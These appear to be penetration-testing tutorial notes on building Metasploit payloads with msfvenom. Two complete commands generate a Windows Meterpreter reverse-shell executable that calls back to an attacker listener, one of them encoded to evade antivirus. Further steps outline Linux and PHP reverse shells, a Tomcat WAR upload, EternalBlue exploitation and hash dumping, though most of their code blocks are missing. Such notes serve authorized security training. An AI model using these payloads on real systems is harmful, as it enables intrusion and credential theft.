07. Metasploit Custom Payload with msfvenom
1. Creating a Custom Payload with msfvenom¶
msfvenom is a powerful tool for creating payloads in various formats. Here's how to craft custom payloads.
Scenario: Windows Reverse Shell¶
-
Generate Basic Reverse Shell Payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o reverse_shell.exe-p windows/meterpreter/reverse_tcp: Specifies the payload type.LHOST/LPORT: IP and port of the attacker (listener).-f exe: Output format (exefor Windows executable).-o reverse_shell.exe: Save the file asreverse_shell.exe.- Add Obfuscation: Encode the payload to bypass antivirus:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 5 -o encoded_reverse_shell.exe-e x86/shikata_ga_nai: Encoding mechanism.-i 5: Apply encoding 5 times.-
Serve the Payload:
-
Host the payload on an HTTP server:
-
Set Up a Listener in Metasploit:
-
Execute the Payload: Once the target downloads and runs
encoded_reverse_shell.exe, you'll get a Meterpreter session.
2. Advanced Payload for Linux¶
Scenario: Linux Reverse Shell¶
-
Generate Reverse Shell Payload:
-f elf: Creates an ELF binary for Linux systems.- Set Up Listener:
-
Deploy Payload:
- Transfer
shell.elfto the Linux target. -
Execute:
- Transfer
3. Exploiting a Web Server¶
Scenario: Custom PHP Reverse Shell¶
-
Create a PHP Reverse Shell Payload:
-
Customize Payload: Add PHP tags around the payload:
-
Upload the Payload: Use a file upload vulnerability in the web application to upload
final_shell.php. -
Set Up Listener:
-
Trigger Payload: Visit the uploaded PHP file in the browser to execute it:
4. Using Specific Modules for Unique Scenarios¶
Example: Apache Tomcat Manager Upload¶
-
Scenario: Exploiting default credentials on an Apache Tomcat Manager to deploy a malicious WAR file.
-
Steps:
-
Search for the exploit:
-
Select the module:
-
Set options:
-
Set payload:
-
Exploit:
-
5. Exploiting SMB with EternalBlue¶
Scenario:¶
Targeting a Windows machine vulnerable to SMB (CVE-2017-0143).
-
Load the Exploit:
-
Configure Options:
-
Run the Exploit:
-
Post-Exploitation:
-
Dump system information:
-
Dump user hashes:
-